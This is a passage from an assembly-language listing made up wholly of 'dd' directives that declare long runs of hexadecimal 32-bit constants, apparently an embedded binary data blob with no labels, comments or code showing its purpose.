9F189379h, 8D104EC0h, 0D6C20027h, 4801B938h, 5E8885Ch dd 0CBA8A24h, 18D8B357h, 5A1102B4h, 1E0444DCh, 82F5BC78h dd 0ADACC460h, 2A26D885h, 0BAC8DBFCh, 0B9450260h, 0CC50F498h dd 0A4809E0Ah, 5E7880F6h, 286F82B4h, 8933162h, 308AE5C4h dd 0B4D56E90h, 8136741Bh dd 612CC221h, 8317A97Ch, 62C27269h, 30CE0886h, 5188DDFAh dd 0C4485172h, 7519118Fh, 44317F0Ch, 3679A860h, 0F045E6DFh dd 104D0B39h, 2000A2ADh, 0C650F454h, 8940BB48h, 0E73002C2h dd 845868FCh, 39663A46h, 5A0FE287h, 38D82CACh, 0C010480Dh dd 9C0248AFh, 63F8823Ah, 0B48468F5h, 0DA41C0FEh, 55CBD52h dd 0F74CE701h, 80EB5A12h, 880048A8h, 0C0619AACh, 4DA83EB9h dd 306FE83h, 0A90150F7h, 2D49C4A0h, 24E41006h, 3A0CB489h dd 93BCE9DCh, 45FD8690h, 0F60090F2h, 0A609A539h, 60AC49CCh dd 0CE84E065h, 2B133EC0h, 5C419A4Dh, 7737E9C7h, 0CAC28050h dd 4318A044h, 0E4831E58h, 0CC3DC01Eh, 1C91540h, 85AFAA13h dd 0B4C0341Ch, 7EA6F044h, 41792F21h, 30304AF6h, 5814D0ECh dd 386FBEC9h, 3378ADC8h, 0E57731E1h, 91E80C69h, 81104138h dd 0E697F0B0h, 1F512012h, 31CD2C20h, 0C1089301h, 41C4BA9h dd 22CE4896h, 30364C45h, 0FA377B10h, 0C8783303h, 1DFD6C3Dh dd 2BAC8150h, 0D58A4048h, 1640E998h, 189D568Ch, 653D7C7h dd 0AC206928h, 0FA14594h, 19150360h, 2B77CD23h, 310CC38h dd 259EF5F9h, 98EC5910h, 3BDFDC46h, 31235E18h, 9989EE0Ch dd 38DCBCD2h, 27B1A8E9h, 4F22C39h, 0C214E810h, 104FC332h dd 8CAF974Ch, 161AD282h, 0F16C2242h, 840588BEh, 1D513590h dd 0F13EBC40h, 792DE1D3h, 0ADA12BEEh, 0FA6E6064h, 0A60BC80h dd 0EE92AC40h, 0A9C22BA1h, 0BB8F6054h, 0B496B6Ah, 3CA82490h dd 3DB31854h, 7DECA90Ah, 22A12307h, 6242E773h, 0CD4BEAAh dd 64AD1B23h, 5B7A0C71h, 50A2A10Ch, 0C479B0ECh, 1F576208h dd 0B07CA615h, 84E9B3ECh, 281A2C02h, 3EFB02A1h, 0C7DE220Ch dd 614CC929h, 5428879h, 47088C24h, 0C5C5802Dh, 7CF48210h dd 9011558Ch, 6C01F6C7h, 22A2FDE2h, 20886D0h, 6F50272Bh dd 0BAE60823h, 41E9A826h, 0BA53C2A0h, 11A33380h, 160910F5h dd 24AF1025h, 0E3B0FC2Bh, 99B15D94h, 88C001Eh, 62A218FEh dd 0C42270FBh, 7C4F03E9h, 0D10241E0h, 0E8619B14h, 1B1FD978h dd 81AA898h, 184069A2h, 2098F3B6h, 9BC208D0h, 42018489h dd 11219BEAh, 283DC338h, 31CC2849h, 2E84462h, 82108C85h dd 663A0997h, 0F0DF1829h, 9CA4FE8h, 42099846h, 8208268Bh dd 0F1974109h, 0E6E2019Ah, 0ED37118Ch, 0D96DC268h, 15F00851h dd 7B28C6DAh, 7F7418E7h, 46072981h, 8237284Fh, 13441880h dd 2210704Ch, 8B396466h, 0B5E23528h, 8898659h, 0D8516164h dd 0D02589Fh, 1DFF6E37h, 8205AC02h, 2D182D0h, 90FC642h dd 0D8AC24F0h, 4A04649Fh, 47C5F3F8h, 0F80ABFCCh, 22088318h dd 5B428084h, 571968DEh, 21928E71h, 1104C30h, 7D484208h dd 1E497D04h, 106D3054h, 81268C22h, 65C24B3h, 27FFD0A9h dd 434C08Ch, 811477D8h, 4B105CECh, 1574E922h, 2815220Ch dd 0E3C697A0h, 2B2C1744h, 0C1B8126Bh, 0E5B66781h, 954C0113h dd 0A8B0F8B8h, 31E162C8h, 0FF52E0C5h, 1AC88806h, 18503210h dd 0DC4BA020h, 0C25081DCh, 55A4245Dh, 3F283892h, 4E3184EFh dd 0ED3A40F5h, 40593092h, 0CAE0651Ch, 0C93E541h, 2491D8E0h dd 6C00EBA5h, 0CCA0011Bh, 0B0C9FB60h, 0C043EFFh, 61B76939h dd 4CF18C41h, 82263B10h, 0AC415093h, 0E8422B03h, 0A2E48230h dd 72F01EFEh, 95255A01h, 529C38A0h, 3FD099D4h, 0E680D863h dd 0C645F304h, 8C5F055h, 0F8C0DF19h, 1C617BE3h, 545079E4h dd 87A2448h, 57D401AFh, 4631F018h, 0E98187E4h, 586737D1h dd 0C8BA1001h, 1E62E646h, 1EE98638h, 8FCA2008h, 0B1308084h dd 8D66460Fh, 0DC2608C0h, 52C62DE0h, 0E6C220E2h, 788F965Dh dd 464165C3h, 0D01D6489h, 5782A06h, 4F8C600h, 0AD5E6645h dd 8064A72Eh, 6553AE5Bh, 991B9603h, 8A88B270h, 0DA9808EAh dd 1FF75C80h, 9918980Dh, 0C6388F90h, 381E82E8h, 5B6DBE1Bh dd 0B03801F6h, 8646EC8Ah, 0AB08BAD8h, 9FE3A013h, 0E51998Bh dd 12D04085h, 5C9878DFh, 806B4C18h, 62EDF0E1h, 0EB2070E8h dd 0B8EA9886h, 0E0A1E6F1h, 0E345EF71h, 0A62EBBF0h, 12B95C3Ah dd 207C1E66h, 30AF1569h, 101B8862h, 8D8B68ACh, 9B66D815h dd 68CB31F4h, 4C2065C6h, 609461E6h, 0D3B83806h, 3C4F1FC2h dd 0FDC54F83h, 93D14877h, 0C098E02Bh, 0B0E2367Eh, 3EF1B8ABh dd 24510123h, 98405902h, 0F6649626h, 409FF290h, 93911C05h dd 70C0469Fh, 26705037h, 80E4E940h, 2093FFE6h, 32845EE0h dd 0A36184C2h, 0C5B2A648h, 209BA09Dh, 447CDBFEh, 6089A62h dd 0D96C235Bh, 0C5F2C6E1h, 0EE2EF045h, 0F064E0E9h, 6311C081h dd 388420FDh, 5FA8CC66h, 7C9EF810h, 7880A3E6h, 0E8CE4108h dd 50CCF3E0h, 48C50925h, 0E13008F4h, 0BA6DC608h, 8F628CCh dd 6FD4046h, 18C6B9FCh, 7430B792h, 0A581CC51h, 9C8B228h dd 4D061CD7h, 47922EAFh, 818B34D0h, 135C604h, 60152A6h dd 467024B5h, 0ACFB09CAh, 0E149B820h, 163AE014h, 8164002Ch dd 0B4A33974h, 921D60BAh, 0F200ED0Eh, 126FE36Bh, 65240CC8h dd 52089472h, 4032B940h, 283112D6h, 18D7181Ah, 591108Fh dd 0FFA6F283h, 0F927381Fh, 8E9D20Ch, 0FD563E92h, 35AAB207h dd 47EBC448h, 92813745h, 12F02ADCh, 85C28368h, 888500Dh dd 5208A2D2h, 0FBB208C2h, 2B047206h, 0B3D04518h, 3B1040DEh dd 29A01208h, 0D2A940h, 0F0817661h, 444E99F5h, 947FA500h dd 189C9323h, 8C80501Ah, 0C6EDB0C3h, 817D5C0h, 5B492465h dd 0D7C4202Dh, 0E32E4480h, 61C58503h, 1FCD392h, 60EC2AF8h dd 43377E72h, 50111F88h, 22A5C52h, 2CF65380h, 0BF744502h dd 3017ED4h, 0D443E5B1h, 9240211Eh, 883A4823h, 0BC9BA3E8h dd 38EEBE19h, 120886D4h, 5190F00Bh, 2FD0FCC0h, 70A8CC32h dd 35329208h, 0BE751016h, 90C3089Ch, 4380DCD4h, 726FE29Fh dd 0F208CFEFh, 21F09C75h, 0B4778D6Ah, 0AF02740Eh, 1E2E81F5h dd 9ED0491Bh, 1F43789Fh, 33E935Eh, 116D337Eh, 4ABA1AE0h dd 0DDB43C00h, 0C3639017h, 0AC6F3E5Dh, 3954AA00h, 0D5CF02B8h dd 9E381306h, 32583AEEh, 29083B68h, 660424B6h, 3A97BD03h dd 3030EF06h, 0BD81DE46h, 10A47B89h, 0AD74140Fh, 0F52F0330h dd 0A9777CBDh, 0C1304256h, 0F840A77Fh, 6CE34F10h, 201E1110h dd 0A28B49F0h, 0F0401220h, 0D584A2C1h, 462A6487h, 0DE010872h dd 0FE293111h, 0E3D333CBh, 3E100F1Fh, 0BEC3797Dh, 68197FE5h dd 9A07ACDh, 195ED888h, 9CFCE679h, 0C8F886Ch, 7E38121Fh dd 0BE05747Eh, 1E2930D7h, 8D4F6D87h, 0B5E0780Eh, 45C38046h dd 1FCB18C6h, 76110230h, 5337DE2Eh, 4971DC83h, 4B09081Fh dd 2274FE09h, 414DC610h, 1421B318h, 13D3892h, 44D3B818h dd 495E8301h, 0B04DDCDFh, 72240B03h, 3E800060h, 1768C254h dd 0B6646371h, 38684130h, 57446608h, 0E7430065h, 0B7612C88h dd 488138C4h, 8F18F33Ch, 0A3692D1Fh, 312CF0CBh, 4108DDC1h dd 859F11C0h, 80EDE1F0h, 7B7CBD61h, 0B4079D90h, 9178A12Dh dd 97B701C1h, 9FBC40BDh, 847C3E7Ch, 8183210Ch, 8DD5830h dd 0A5FE51C0h, 0E8DCB243h, 0E12941E3h, 3E1DBC1h, 9E630194h dd 5A301h, 0C3E47623h, 9D07DA20h, 0C15370C0h, 9E78E4E3h dd 562E6500h, 0C5440698h, 8FAF06D4h, 31E5C939h, 0E06D6321h dd 0A1A34894h, 0ACC59040h, 0E1F90810h, 258C3F38h, 3BDDA1C7h dd 44539B10h, 0A7DFB981h dd 5398C9Ch, 4738C142h, 0C09B8108h, 0C6170810h, 0C3343866h dd 1C3C70E1h, 0A47E00CDh, 0C938E38Ch, 30CAE045h, 34707CA3h dd 0A055FC87h, 1847FD08h, 40D20A9Bh, 0C00DE4C5h, 0B031C3A4h dd 1E03240Fh, 0D7A3238Bh, 72253801h, 3383A4C1h, 48906C04h dd 2125C618h, 40790571h, 0F0AFFBC1h, 94567699h, 270171BEh dd 9023A49Bh, 0E00899AEh, 0FC5FFBB9h, 0F3F6B502h, 98A6D9C2h dd 0C3184828h, 0FC08ADD5h, 37CAD07h, 0D7226A70h, 0C1A54131h dd 4004FD03h, 9CFC3C7Ch, 11C87183h, 0F943E30Ch, 0DC946DC5h dd 7A449482h, 90FF5785h, 83D7F4C1h, 0E5318A32h, 97F884E6h dd 6743224Fh, 7CF7C52Bh, 88B8C36Fh, 2561242Fh, 0D206542Ch dd 0DD4762D9h, 8302391h, 3FC020C8h, 4920BDD6h, 928C089h dd 662303B4h, 5683A5E6h, 0FC868EF7h, 0D348081Fh, 0C130437Ch dd 0E515D954h, 5E055189h, 11A67022h, 8101984Fh, 829DE538h dd 44BCC24h, 0BF839B1Dh, 204DE11h, 490FBF5Dh, 0D450385h dd 0B8A33810h, 89C1E446h, 843ACD6Fh, 1CEBA539h, 0DD703C34h dd 0B9EDFD77h, 33C1DF39h, 705BB543h, 0ACE84506h, 0E5203987h dd 0B2A32B7Ah, 1B6C6070h, 0C58841DFh, 330C5D5h, 0D9706CB2h dd 68FDF808h, 82250C88h, 1E8AC370h, 92B03970h, 18E08629h dd 23E338B9h, 398770ADh, 0BE2864A9h, 0A609B303h, 8107BC3h dd 83134DE3h, 7CEC7CE5h, 0D371CC18h, 900145B9h, 0E5C32640h dd 0D2F0FBD0h, 39C4D157h, 430328A5h, 8241FE6h, 45F85CEEh dd 225B1032h, 71851287h, 0BEE77C49h, 0CA850CF4h, 0E539F554h dd 541E3A26h, 0F0EC1F15h, 226AF6B1h, 462C87FBh, 5A1944D5h dd 0BC41B009h, 0F45F2023h, 83DA0204h, 310D23A0h, 0A3085B41h dd 0A068221Dh, 0C239B20Eh, 0CBD30541h, 5F1AFC41h, 2F4F02F8h dd 22876984h, 0C0C1CAF2h, 27C5B1Ah, 0F9A07B6Ah, 54503B6h dd 0ECA37015h, 0DD2FF0F0h, 0B6E32283h, 3380962h, 4ECBEEBh dd 294D8EDCh, 39A44CB6h, 90CC5C44h, 2310E631h, 2F45FECh dd 5002B792h, 396926BBh, 16984054h, 15817CADh, 8F74CB45h dd 0E111C500h, 1B5774B8h, 0B032C3F0h, 26B6EAAFh, 232B3814h dd 0D8E0EC16h, 444E9B6Fh, 38C929BBh, 36815C3h, 0CB762163h dd 2866717Ch, 23E97239h, 1BC010E9h, 0A4865A63h, 402C62F0h dd 0F0BEE283h, 2CB4BC04h, 53448DFBh, 9960CE1h, 1089CC6Ah dd 2C514308h, 24A6F1E0h, 9C96274h, 4938A421h, 9FE9C304h dd 3B570210h, 268DC049h, 0A366B19Bh, 52681609h, 6BA09C43h dd 0A4440AD0h, 63BA40E5h, 8C405C6Eh, 80010931h, 0B0C31B83h dd 31D4D103h, 23109008h, 4B05FD3h, 55BC0491h, 81C0C545h dd 5FD4E3D4h, 88E604B0h, 2542B2D3h, 9885FD99h, 3D907CD1h dd 0E6673911h, 0E924050Ch, 8C566C8h, 0C449B423h, 418BE15h dd 0C21483EEh, 0D2495B8Dh, 23B0A4AFh, 0FC02A09Fh, 894CF1FEh dd 0E8634501h, 7CB6D002h, 2B34890Ch, 70A53948h, 23A60C58h dd 0A740CA1Bh, 398309C8h, 541168B1h, 2D0890CBh, 20FA231Fh dd 76E48954h, 28C3A381h, 0F8E01CC1h, 0F9ECA98Ah, 1DE8C207h dd 604624C1h, 2458630Ch, 4FE31248h, 5E12501Eh, 0F8CF5448h dd 47E62517h, 0C72D8944h, 7ACFE3C8h, 0AC09B3E4h, 6266A87Ch dd 62116CD1h, 33C3C896h, 0BEC2E449h, 0D9C53308h, 0BFD1338Dh dd 0E9207F09h, 3C3337Dh, 0E1200B19h, 948331CFh, 0F22F4310h dd 67E91A06h, 58A3080Ah, 0C3F8B898h, 65E38353h, 20270920h dd 43242883h, 0F8FBB4CDh, 457DE81Fh, 8858F689h, 0D1E13664h dd 9202A09Fh, 8CBD549Dh, 340782Eh, 0CFB9C93Ah, 1708283Eh dd 0BA9F251Dh, 0C340BEB1h, 7C099207h, 1CA3C804h, 7B13889Fh dd 89E31893h, 0B8504105h, 84931994h, 67DBFEE0h, 1039DF1Ch dd 1D031640h, 8CDC247Dh, 399162EBh, 43070E45h, 0C243EDBh dd 835B6FC8h, 54A1A539h, 48705B0Bh, 5EDC1811h, 80D78539h dd 0B96580E3h, 746C1708h, 22901157h, 45E50CD4h, 0AD1578BCh dd 882A9F74h, 0C5857F52h, 0EC0A95F2h, 0E309D043h, 2960A4C3h dd 0CB2A2CA0h, 0B8827609h, 88BE1983h, 0A22F613Ah, 65257EDCh dd 7C1940A4h, 9D115D88h, 50A4F79h, 0BC0ACE8h, 828FD9Ch dd 30F8F888h, 8B1DD110h, 0A364337Ch, 0D8135578h, 881D6B43h dd 827412h, 0C0847B03h, 5F129485h, 2845BA40h, 5094A937h dd 2843B4C7h, 24B8A6B8h, 38B097CAh, 0A34A1A4h, 1BA0DF8Ch dd 75A128BBh, 0D07F01CFh, 446A3893h, 83F13DB0h, 8156384h dd 0B24830C3h, 0EE956362h, 84A51991h, 886F58B4h, 8C276308h dd 0B988B3FAh, 8308BD67h, 5858C2F9h, 782F4F5Ch, 851BB98Ch dd 0B2692BC6h, 0A1C30342h, 20580920h, 23103043h, 2D28BCE7h dd 6F6310B8h, 0BC032796h, 2DC70CDCh, 0E569C07Bh, 40B20A24h dd 2348D518h, 190090EAh, 8B9B683h, 0E0243DFEh, 62BE57E5h dd 0EC551B9h, 0ADB54301h, 0C4368447h, 0F3609C49h, 48EE36D8h dd 1960BF49h, 0AC38A5DDh, 34E3E041h, 6A06A05Fh, 414F2C89h dd 2BF00520h, 0E1883323h, 0C2C8E2B0h, 79EF8C2Fh, 827CADCBh dd 52B06B2Ah, 0B6C74522h, 8DBC0F70h, 3FD0274Ch, 0EC9CA8A5h dd 6CAD07ECh, 155B1002h, 0C40C463Eh, 0F7C8E338h, 2FD281D8h dd 0F448CAC3h, 88B051ABh, 0CC144744h, 9480662Dh, 0FC831008h dd 88AE26B6h, 3FFC78Bh, 20F391A8h, 2312B408h, 0E805F450h dd 3CD6FD0Bh, 0EEE31008h, 0F16410F0h, 4DA8612h, 0C1E56CC8h dd 94EE2924h, 19B19010h, 6F11D643h, 0E2C4C300h, 83B38CCh dd 18994DA3h, 23086E31h, 0F0D461C8h, 84981D04h, 0A04C22F1h dd 84434D68h, 94A28524h, 0A3F0C61Bh, 0A3101822h, 0AF43E8FAh dd 0E4211C94h, 3183B150h, 25598863h, 0A02301A6h, 0E8F9A021h dd 0C02F8204h, 0D2FF8441h, 94059805h, 9C4B4AC3h, 85C80F7Bh dd 30C308E9h, 0E3D81259h, 35087CF6h, 0FA77C71Fh, 0EC0526A0h dd 7CCD9280h, 0FA081208h, 3EBFE836h, 0ED881B2Ah, 0F502A45Fh dd 0C0E3D9D8h, 0DEEB4503h, 94CC5770h, 0A2E83CC1h, 0A5398508h dd 940E995Dh, 0B8507665h, 7C032884h, 0B2C1CB47h, 9EBB1D7Dh dd 7C268551h, 0E3088898h, 8380AFFAh, 21FE27B9h, 23E54110h dd 4345C322h, 0BA04841Bh, 45B6A646h, 0A005D3C5h, 0FC4ABBE3h dd 5AF888FAh, 60322282h, 797F2533h, 77087661h, 301D814Dh dd 0E37239Ch, 0BE0960AAh, 0FA11047Ch, 4CC0BC02h, 0CD2E5180h dd 0D1584A99h, 3603011Ah, 9410CC74h, 683F1B0Ch, 230222A2h dd 8A4BEFFh, 0EF39B5FFh, 574422BEh, 60C0A0CEh, 0BFB7E912h dd 0D40C4580h, 83A8B8A1h, 737B6618h, 0C96DA571h, 183ECE39h dd 0A6814E08h, 6CC54566h, 4611826Ch, 0E513A449h, 33C4B09h dd 1EC05CC7h, 4053498Eh, 9928C5A5h, 4F6290CDh, 26DE308h dd 1853BD83h, 0EA27C4C0h, 25A840FDh, 2C4CD959h, 0A96006Ch dd 0E1C8204Bh, 0B0240760h, 89864F8h, 350810Ah, 6CB82489h dd 0B2C308CFh, 0E4430402h, 485C50A0h, 4025C4DEh, 8416406h dd 9BB7F5F1h, 0E108D630h, 2897FEFFh, 83A40247h, 4C70F41Fh dd 32C8144Ch, 9340952h, 0C21C6C07h, 0BC835BC3h, 0F043B943h dd 3C8B0A4h, 0EF1D2FF7h, 96E5D483h, 0AFA982Eh, 8C56D0Ch dd 0B5D63CADh, 5BF2D00h, 47A90DA5h, 3C2BCF00h, 6B8FA262h dd 6EB80040h, 0C9A03A43h, 0F7012D29h, 0A50641CFh, 1C5BFE4Dh dd 33BC9302h, 0EF072823h, 0A00D1DB8h, 30804D46h, 2A0309A1h dd 31880F81h, 0E178AA8Dh dd 0EE053136h, 88DD2FA1h, 3AC5CDD8h, 8A811C53h, 11A7B4ABh dd 685BC54Fh, 1D183A3Eh, 716F31E0h, 0CA4D68C5h, 900F686Ch dd 39DF6F8Ah, 0AD0AA888h, 19D86CF3h, 40CEEAFDh, 1863AFFCh dd 0A09CBD39h, 0CC09C40Dh, 4D08CE40h, 40AD4B40h, 361EED05h dd 0F415A4F0h, 0E89BF384h, 80FB3758h, 95FFA7CFh, 0F088C168h dd 62A12678h, 8DEF3910h, 887CC225h, 0C94618ABh, 0CF0F397Bh dd 0C5D34D80h, 7CC10D08h, 518D88Ch, 2F4165EFh, 2B6890F9h dd 6074BF8Dh, 0DB757F19h, 0AD4FA8A8h, 7A389966h, 9AED2008h dd 0FE604D20h, 630D809Dh, 0ED315C90h, 9ACD089Bh, 4744AD01h dd 48E385B4h, 6D0CF8BCh, 500D0842h, 548DC056h, 0C8BDC4B2h dd 7791AC09h, 28566A22h, 1369C160h, 6F119D32h, 0DF88A24h dd 90F8B82Ch, 2F5B22ACh, 38CE58F8h, 0F0B4F5EDh, 44EB42C9h dd 9B37AFE1h, 0A7197080h, 1848EF20h, 0D14D08C6h, 0F0415092h dd 686CEDE3h, 0DA7E0870h, 0CF0CF269h, 49CD609Eh, 7FF13CFBh dd 0F274F4ECh, 39956789h, 0F4378854h, 99C58608h, 0A2E18741h dd 5FFC8D01h, 0FE220498h, 0F46C450h, 0E2ED6001h, 0EC0898BEh dd 94B5E531h, 0C3A8E82Fh, 0EE62F97Fh, 82144F31h, 0BE2EEDD5h dd 0BCC0C80h, 6F39956Ch, 0F3B51320h, 0F76D4C20h, 1154D01h dd 8D01440Dh, 9EAD0168h, 84BE2712h, 23DDC0Ah, 19BEB465h dd 7068A6E0h, 7EE98C21h, 8983A024h, 259D125Fh, 27987C27h dd 48337308h, 0F5AF0A2Dh, 736DD87Ch, 0D49F9329h, 0E05E8C83h dd 0EF4118DFh, 0AD2C88A7h, 0C0F9A0CAh, 0AB2830FAh, 85C807BFh dd 34DD3678h, 8F4C9113h, 0E450898Dh, 38300395h, 96081881h dd 0EB18F0B8h, 62DAB1Bh, 0B603E208h, 3EB8C27Ch, 349179E0h dd 2322E2EFh, 34D4C0AEh, 315C90B1h, 8D8A325h, 2F188DA2h dd 0DBDD70CCh, 78C24DD0h, 63F0F8DAh, 0D4D510CDh, 3204ADE1h dd 60BFA0C4h, 2078A684h, 20A3770Fh, 2FADF008h, 908718AEh dd 8DF306Dh, 1BB45A14h, 0C2A024EDh, 60D0397h, 9F0A0918h dd 0CEAC120h, 0E7D28DABh, 0E6642C98h, 0D037D08h, 0D018E92Ah dd 5228D279h, 67CDF8E5h, 48EEE9B6h, 8D088718h, 10CE65B7h dd 2D8006DEh, 54F8F8F6h, 78444382h, 0F3281F08h, 7D0392A4h dd 0EC8012Ch, 412F1CF6h, 52CBC93Fh, 848298FCh, 100D8CCDh dd 925304D2h, 84A42138h, 69191F61h, 84526E09h, 0E94D03F0h dd 0F720087Ch, 8FC444E7h, 242D88A0h, 0C4174D80h, 482ADF0h dd 0CD06FB8Dh, 805009A1h, 59404DFCh, 6D5B400Dh, 2D08B862h dd 0A8804F15h, 8B082300h, 0F01B4F8Ch, 0F8DB54EDh, 9DE1CC22h dd 3A418DD0h, 0C888B021h, 0D590100Dh, 109A2D10h, 8D142B4Dh dd 0D19E85Ah, 132DC9D6h, 54C0784Dh, 9115D85Eh, 0F78E589Ch dd 546F198Eh, 0A1CEA8ACh, 1412F4B1h, 0C011802Bh, 848FC28Ah dd 27A486C5h, 0ED8D2850h, 91C7FCB0h, 0E25E5824h, 0AFEA4084h dd 761CF648h, 0C7E84D54h, 0D062CCA5h, 0CF24989Ch, 303898AFh dd 8D088CADh, 10CABB3Ch, 143EC47Fh, 31A4D189h, 0CE0D08D3h dd 14E1B453h, 0B4C0AD08h, 4AC5ED12h, 56B8C994h, 44F69E29h dd 97CEEF89h, 888A102Ch, 0E0489FEAh, 1494FB48h, 0ACA8C80Dh dd 12F747CEh, 0CC4A902Fh, 5656A411h, 4F144458h, 5276985Ah dd 76B18012h, 486F1CF3h, 0ED125C15h, 12C04A38h, 0AEB5688h dd 46ED8F12h, 48E549A0h, 29107249h, 7E598CCEh, 3E54C52h dd 4811A1AFh, 6B26AE6Dh, 94D7BB9Ch, 747D83C1h, 0CF498C2Fh dd 8063918Eh, 8C5996Dh, 987CE0CDh, 23580909h, 142EE694h dd 5FDF81D9h, 4B880590h, 6831A74Eh, 845FE60Fh, 971B7062h dd 0E12F1C98h, 70B178ADh, 4F1CA43Eh, 7B4170A5h, 1C487880h dd 3CB55C6Fh, 4BF6D12h, 0D290EDC8h, 0A4A443FCh, 0B08D0E1Ch dd 4A9D0D16h, 568CF85Ch, 0A8A5FE23h, 0D70C31Ch, 8189428h dd 0B668E8B3h, 0EA08C4EBh, 0F90082DDh, 834368BEh, 0AF24E420h dd 3597B05Fh, 26684448h, 18A319B4h, 0EDE0893Dh, 76F8410Eh dd 4827D197h, 8D0A8C40h, 21FBE012h, 81B116E0h, 0AD013CCFh dd 0FFD42556h, 405150EEh, 5F0FF9A8h, 33D8629Ch, 0EF2C9895h dd 0CED9C90Bh, 6B0D4482h, 102A869h, 7190C22Dh, 0ED0D084Dh dd 0E0011BD1h, 65DA0AA1h, 0AD089C78h, 166D2B60h, 8EE8ECB4h dd 550F0A85h, 25ED0CE0h, 0B0A0FA81h, 0ACA9504Dh, 0ED08895Bh dd 0A1E0A470h, 9F108D04h, 43804070h, 522F0C85h, 0F9644D70h dd 0AD04CB09h, 268D0504h, 814BFC91h, 0C82D088Ch, 9C6DAE0h dd 6530B071h, 0D39209AEh, 6D45C84h, 6210B68Dh, 57ED0849h dd 885F88E9h, 86B6D08h, 0D046ACDh, 508A29Ch, 9E66793Eh dd 20082528h, 0ED54588Dh, 8A624DCCh, 2D16D08h, 8D01890Dh dd 9A02E7C8h, 0CBC0B0Bh, 0C9E93840h, 0C4252208h, 0AD44D236h dd 343E6869h, 0F4A01B70h, 8DFA2EDh, 2D103FD0h, 968D114Ah dd 0D193020h, 6420D87Bh, 0DB2C02D2h, 8493F104h, 0DD1120C4h dd 24966D20h, 9120744Dh, 0DCE32E97h, 3092999h, 8C49006h dd 0ED04B08Dh, 5A921F3Ah, 20F0EC83h, 7CFC8809h, 91FD8D80h dd 0A0E59B8h, 1D5E4F12h, 0F4289400h, 48B7487Ah, 0E4D8CD14h dd 0D4E65474h, 4AF0BA81h, 0A4D80607h, 0A86288CEh, 0A4534D08h dd 2D0427A4h, 0FC6D04C0h, 0E690C848h, 29E24D19h, 0FEAD03B7h dd 39926441h, 0CA0D0598h, 0CB17A01Fh, 11CE684Ch, 3C6D80E5h dd 0AC41BD89h, 1032FECDh, 6F5068B7h, 5D8C925Ch, 69265418h dd 52CD04E8h, 264209BAh, 31099670h, 85B8E464h, 50EF02E6h dd 81CB7478h, 10C199F9h, 4243E09h, 581899FDh, 268EA956h dd 8CFC1C8Fh, 0B1908D68h, 0F261D892h, 0AD576DA8h, 0A83CC025h dd 98DD2A18h, 0BD81E70Fh, 426D088Ch, 2140CDB0h, 8584BEDh dd 0D09EBB8h, 903095C2h, 0C17C833h, 2A8920AFh, 0F3AD08C4h dd 1625DC93h, 2B1B2D60h, 0D31E3FCCh, 0E2CF182Ch, 945C4DF8h dd 0CFCB13A4h, 0D4B18014h, 80FD69F3h, 1093E06Fh, 74E892E0h dd 1531DF87h, 0AEB75C13h, 0B4736665h, 50A714D4h, 70F17467h dd 0EF01CD99h, 0C11027EAh, 0B3C7D244h, 0E50F318Ah, 0C9F6D868h dd 0CC403BEAh, 50E4532Fh, 33A856B0h, 27BF5A20h, 0AC9F18CFh dd 0D0754F0Ch, 6909C050h, 0BB0B57A9h, 9D1D78F6h, 6D00DA1Dh dd 5D93A7C2h, 8A28C25Ah, 4C0A863h, 363FF11Ch, 0D252804Eh dd 70C443D8h, 2BBA0737h, 70476F16h, 3A4CEBCh, 4D6BDF00h dd 0FCEA80B7h, 3126070Dh, 0F0C9778Dh, 0B5D3D66Dh, 15E1B901h dd 0A6CF204Ah, 4BF4A040h, 0E01900C9h, 2AAFDB49h, 0B11EE113h dd 7280481Dh, 70F9E5B5h, 5AE49Fh, 0D1857129h, 9B348E96h dd 941E6B07h, 0CA57D369h, 0D81BAF43h, 342D9B9h, 1D4FF2Bh dd 46C303EEh, 8E8100A7h, 4E01E8FDh, 20496450h, 29D47CDCh dd 0EAFF4D0h, 5AD512EBh, 0B9767220h, 3300918Fh, 5D612D86h dd 1E118877h, 0B9092FE4h, 0A07A8C01h, 0C883A90Ah, 0E0070B90h dd 2DE5851Ch, 337C41D1h, 0E25F0D30h, 0E88A0037h, 10A15A9Ah dd 6404D7F8h, 85B425E1h, 2BD7880h, 58B0004Bh, 0CEBFC83Dh dd 89014956h, 0A13606A8h, 29DCEC38h, 0AC2C004Ch, 0FFC14072h dd 7400F4B0h, 0CAFEF08Eh, 6A952h, 82F3C0D2h, 83363FEAh dd 0E8625E00h, 7385F830h, 81804E6h, 90A929B5h, 772FD00Ch dd 105E48h, 0D5900FFBh, 0BC860Bh, 0BA486BA0h, 0B2D99AB8h dd 0CE05AA00h, 0EACB7972h, 54D21E8Fh, 5802408Eh, 17E1B757h dd 2F75A074h, 323BCC00h dd 8F665501h, 54A3002Ch, 5EC0FA94h, 0D50082BDh, 0B1CAC461h dd 0F6D998h, 311A6EDEh, 31891A8h, 0D3320407h, 0AC4007C7h dd 0EB3A6Fh, 2B5B2DCFh, 0DE6E0885h, 0DD0EAD0Fh, 0A7894EFAh dd 0B2802ED9h, 69C7D7h, 0F566F14h, 371ACA54h, 83CE5500h dd 0A9996A8Fh, 81EF0094h, 221128D0h, 0D300D531h, 0F7EA472Bh dd 89C642h, 97569EAFh, 0C1E537B7h, 1C921B00h, 0E70DA1D3h dd 81ED0021h, 2B2AE27Bh, 2C0241DBh, 0C801D589h, 0D9ACA3CBh dd 5CC807FEh, 0D00ADAEFh, 8A61406Eh, 1C0020ECh, 71227241h dd 7D77C067h, 56D801E5h, 29947BC7h, 43B050D1h, 890001EBh dd 0AA767073h, 48531184h, 0CF0F88A1h, 820FDC9Ah, 76B24600h dd 5B00A6F6h, 5C9099BFh, 0FCF930D4h, 639800E7h, 0D9C6E9C5h dd 0B400A661h, 0B858108Fh, 0CED49Eh, 0C0660F16h, 12F7ED54h dd 0C65D2701h, 6C2EBCC4h, 3DC2BEDCh, 4B81051Fh, 0ACF60FC1h dd 16B6E436h, 1701C07Fh, 0ABE8DC7Fh, 0D5F46201h, 0C3E01F1h dd 169953B1h, 0E031E4BEh, 9F001090h, 5F7E28C7h, 1C405DBh dd 230BF52Ch, 0C551FF99h, 47E6F855h, 0C4804650h, 0B1950718h dd 590FF0h, 3FFE4564h, 0AF5CEF78h, 0C20EE100h, 9F30A8Bh dd 0FA1D0084h, 0D5A99B6Dh, 0E60E6E38h, 80181611h, 9112B9DAh dd 2B3E003Ch, 0B0CF5B8Fh, 0FB75CB73h, 6230BC00h, 55072601h dd 3AAF0050h, 0A02A1834h, 0DD1385F7h, 0FB0BC4h, 51EC44F0h dd 2E00B9E7h, 0F4925DE5h, 38F5CD6h, 0AA65DBF3h, 0BCA06149h dd 7C00E654h, 0F7C516B0h, 0A0080E44h, 